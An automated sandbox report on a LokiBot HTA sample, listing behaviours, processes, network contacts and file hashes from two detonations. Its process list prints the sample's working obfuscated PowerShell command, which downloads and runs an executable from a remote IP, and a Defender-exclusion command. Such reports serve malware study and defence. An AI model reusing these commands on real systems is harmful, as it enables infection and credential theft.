Malware Analysis Report

2025-04-03 09:50

Sample ID 241121-h9w74atrdr
Target 9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac.hta
SHA256 9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac
Tags
lokibot collection defense_evasion discovery execution spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac

Threat Level: Known bad

The file 9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac.hta was found to be: Known bad.

Malicious Activity Summary

lokibot collection defense_evasion discovery execution spyware stealer trojan

Lokibot family

Lokibot

Blocklisted process makes network request

Evasion via Device Credential Deployment

Command and Scripting Interpreter: PowerShell

Downloads MZ/PE file

Executes dropped EXE

Checks computer location settings

Loads dropped DLL

Reads user/profile data of web browsers

Accesses Microsoft Outlook profiles

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Enumerates physical storage devices

outlook_win_path

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

outlook_office_path

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-21 07:26

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-21 07:26

Reported

2024-11-21 07:29

Platform

win10v2004-20241007-en

Max time kernel

98s

Max time network

140s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\wininit.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\wininit.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\wininit.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4576 set thread context of 2120 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\wininit.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\wininit.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2068 wrote to memory of 1060 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe
PID 2068 wrote to memory of 1060 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe
PID 2068 wrote to memory of 1060 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe
PID 1060 wrote to memory of 5028 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1060 wrote to memory of 5028 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1060 wrote to memory of 5028 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1060 wrote to memory of 2572 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 1060 wrote to memory of 2572 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 1060 wrote to memory of 2572 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 2572 wrote to memory of 3436 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2572 wrote to memory of 3436 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2572 wrote to memory of 3436 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 1060 wrote to memory of 4576 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 1060 wrote to memory of 4576 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 1060 wrote to memory of 4576 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 4576 wrote to memory of 3804 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4576 wrote to memory of 3804 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4576 wrote to memory of 3804 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4576 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 4576 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 4576 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 4576 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 4576 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 4576 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 4576 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 4576 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 4576 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe

"C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2zok10q1\2zok10q1.cmdline"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC0B0.tmp" "c:\Users\Admin\AppData\Local\Temp\2zok10q1\CSCC6FFF3FB49CF4AC089F230B1A9191D11.TMP"

C:\Users\Admin\AppData\Roaming\wininit.exe

"C:\Users\Admin\AppData\Roaming\wininit.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\wininit.exe"

C:\Users\Admin\AppData\Roaming\wininit.exe

"C:\Users\Admin\AppData\Roaming\wininit.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 66.63.187.231:80 66.63.187.231 tcp
US 8.8.8.8:53 231.187.63.66.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 71.209.201.84.in-addr.arpa udp
DE 94.156.177.41:80 94.156.177.41 tcp
DE 94.156.177.41:80 94.156.177.41 tcp
US 8.8.8.8:53 41.177.156.94.in-addr.arpa udp
DE 94.156.177.41:80 94.156.177.41 tcp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
DE 94.156.177.41:80 94.156.177.41 tcp

Files

memory/1060-0-0x0000000071B3E000-0x0000000071B3F000-memory.dmp

memory/1060-1-0x0000000004A60000-0x0000000004A96000-memory.dmp

memory/1060-2-0x0000000005200000-0x0000000005828000-memory.dmp

memory/1060-3-0x0000000071B30000-0x00000000722E0000-memory.dmp

memory/1060-4-0x0000000005070000-0x0000000005092000-memory.dmp

memory/1060-5-0x0000000005830000-0x0000000005896000-memory.dmp

memory/1060-6-0x00000000058A0000-0x0000000005906000-memory.dmp

memory/1060-7-0x0000000071B30000-0x00000000722E0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_20vnr0od.4pv.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1060-17-0x0000000005A10000-0x0000000005D64000-memory.dmp

memory/1060-18-0x0000000006000000-0x000000000601E000-memory.dmp

memory/1060-19-0x0000000006030000-0x000000000607C000-memory.dmp

memory/5028-29-0x0000000006ED0000-0x0000000006F02000-memory.dmp

memory/5028-30-0x000000006E3F0000-0x000000006E43C000-memory.dmp

memory/5028-40-0x0000000007AC0000-0x0000000007ADE000-memory.dmp

memory/5028-41-0x0000000007AF0000-0x0000000007B93000-memory.dmp

memory/5028-42-0x0000000008270000-0x00000000088EA000-memory.dmp

memory/5028-43-0x0000000007C30000-0x0000000007C4A000-memory.dmp

memory/5028-44-0x0000000007C90000-0x0000000007C9A000-memory.dmp

memory/5028-45-0x0000000007EC0000-0x0000000007F56000-memory.dmp

memory/5028-46-0x0000000007E30000-0x0000000007E41000-memory.dmp

memory/5028-47-0x0000000007E60000-0x0000000007E6E000-memory.dmp

memory/5028-48-0x0000000007E70000-0x0000000007E84000-memory.dmp

memory/5028-49-0x0000000007F80000-0x0000000007F9A000-memory.dmp

memory/5028-50-0x0000000007EB0000-0x0000000007EB8000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\2zok10q1\2zok10q1.cmdline

MD5 308de75983cfb735437e7ef2fcd22fdc
SHA1 792557d8146554313a512884bba97de0a0da1004
SHA256 a60baf2881687a0e4747b07dab04d124931f3413f39413d9f23042ae3a8e57bd
SHA512 3abbd4cd5cf6e87bfaf46e06d15adcefd85708595468d28f32fd7e24b00773dbd3f28dd08505b95c46e70fe1c6d74020349da32883852d7b0d188f68e800fc83

\??\c:\Users\Admin\AppData\Local\Temp\2zok10q1\2zok10q1.0.cs

MD5 b0517586f4097114e790c61f2685f0d5
SHA1 20f7482298ab96731228ebd5242ceddfd72ff50f
SHA256 a738e3af6f29edd637630b0299f306056042ea1c73850eee95498499f5d90237
SHA512 c28702017ce7fe0d34bea38cef48df3bb65c63d92dddd6f8264f7262f7ae61b8d71bcd6fec06d0792373d15ba84fb2a1d0c26b0fe5755bc20505a9197d654ba0

\??\c:\Users\Admin\AppData\Local\Temp\2zok10q1\CSCC6FFF3FB49CF4AC089F230B1A9191D11.TMP

MD5 32e3edd00eba9ec2c6a1c35bd2750dc3
SHA1 d7e33c5dea35e2688c1a9ad3f39665c9411a32d2
SHA256 9c43e19e5726a2ee69462600b6b95aefe54935a8c13d3d700f153f5310e1f5a6
SHA512 ec1b07f0baa9848eed0087904effeb9ceb8db251bd6616fa850d630bde3c16810e47dac86de22b9a1173952cb72c8eb99519c78be1bffc259d409a7814c4f604

C:\Users\Admin\AppData\Local\Temp\RESC0B0.tmp

MD5 733da47f9457539c32b40167d4986999
SHA1 3c241a994a9cc7ed9b74a4ac7ffacb6a8e2c89dc
SHA256 c2056e6797915ab848680297f93653d45d727890ac6f81b0eeb82b73f0b4bcdb
SHA512 05400d0c844dfccb3d863eec1447122f490f9c897ff05d620e28cf0766293208ad25bd5f6df5d048ed5c579334907e3eac1e785dd01aba436ed1b59d9ae44504

C:\Users\Admin\AppData\Local\Temp\2zok10q1\2zok10q1.dll

MD5 bdc4191d3930a6b00074014901690d61
SHA1 be55df7bcf08a5af776090d08773eb4637d52ce0
SHA256 7122907cd5c735215ed115715e5dea0a62b27d5c40731a45db667de4fc460664
SHA512 77a704f978d1fbebcf6af6569897a15f08cc7a80dd5535eb1770038248cc5e0234dd3fd73f3e288bebd31848e5f488072b77a17cb2288d7ee585297c92724374

memory/1060-65-0x00000000065D0000-0x00000000065D8000-memory.dmp

memory/1060-71-0x0000000071B3E000-0x0000000071B3F000-memory.dmp

memory/1060-72-0x0000000071B30000-0x00000000722E0000-memory.dmp

C:\Users\Admin\AppData\Roaming\wininit.exe

MD5 66b03d1aff27d81e62b53fc108806211
SHA1 2557ec8b32d0b42cac9cabde199d31c5d4e40041
SHA256 59586e753c54629f428a6b880f6aff09f67af0ace76823af3627dda2281532e4
SHA512 9f8ef3dd8c482debb535b1e7c9155e4ab33a04f8c4f31ade9e70adbd5598362033785438d5d60c536a801e134e09fcd1bc80fc7aed2d167af7f531a81f12e43d

memory/4576-81-0x0000000000CB0000-0x0000000000D48000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\poWERShell.eXe.log

MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 06bf76aebd48517abefa40848a7ba78c
SHA1 c691b71e5a3c7d344bd7b316639255f513a65bde
SHA256 30fd548b29ea50743e8a7f30d857204ab77b998a01a78fce5b781d50aeb53007
SHA512 22521c7e918e8729854be38fef52a381f0e7abcd831b615840abc7d029fe540df0f25c0abaf26f6f74edc526e38671fc1b9c246892061c521fee8e2d5ba8effd

memory/1060-82-0x0000000071B30000-0x00000000722E0000-memory.dmp

memory/4576-83-0x0000000005CA0000-0x0000000006244000-memory.dmp

memory/4576-84-0x00000000055F0000-0x0000000005682000-memory.dmp

memory/4576-85-0x00000000055C0000-0x00000000055CA000-memory.dmp

memory/4576-86-0x0000000005790000-0x000000000582C000-memory.dmp

memory/4576-87-0x0000000005770000-0x0000000005782000-memory.dmp

memory/4576-88-0x0000000006E70000-0x0000000006ED4000-memory.dmp

memory/2120-89-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/2120-91-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/3804-102-0x0000000005BA0000-0x0000000005EF4000-memory.dmp

memory/3804-104-0x0000000006590000-0x00000000065DC000-memory.dmp

memory/3804-105-0x000000006E3B0000-0x000000006E3FC000-memory.dmp

memory/3804-118-0x0000000007210000-0x00000000072B3000-memory.dmp

memory/3804-121-0x0000000007560000-0x0000000007571000-memory.dmp

memory/3804-129-0x00000000075A0000-0x00000000075B4000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1045960512-3948844814-3059691613-1000\0f5007522459c86e95ffcc62f32308f1_a4172161-d53d-48af-8f36-a00b057e74d4

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1045960512-3948844814-3059691613-1000\0f5007522459c86e95ffcc62f32308f1_a4172161-d53d-48af-8f36-a00b057e74d4

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

memory/2120-137-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/2120-145-0x0000000000400000-0x00000000004A2000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-21 07:26

Reported

2024-11-21 07:29

Platform

win7-20240903-en

Max time kernel

120s

Max time network

121s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac.hta"

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\wininit.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\wininit.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2592 set thread context of 1632 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\wininit.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\wininit.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2500 wrote to memory of 2344 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe
PID 2500 wrote to memory of 2344 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe
PID 2500 wrote to memory of 2344 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe
PID 2500 wrote to memory of 2344 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe
PID 2344 wrote to memory of 1792 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 1792 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
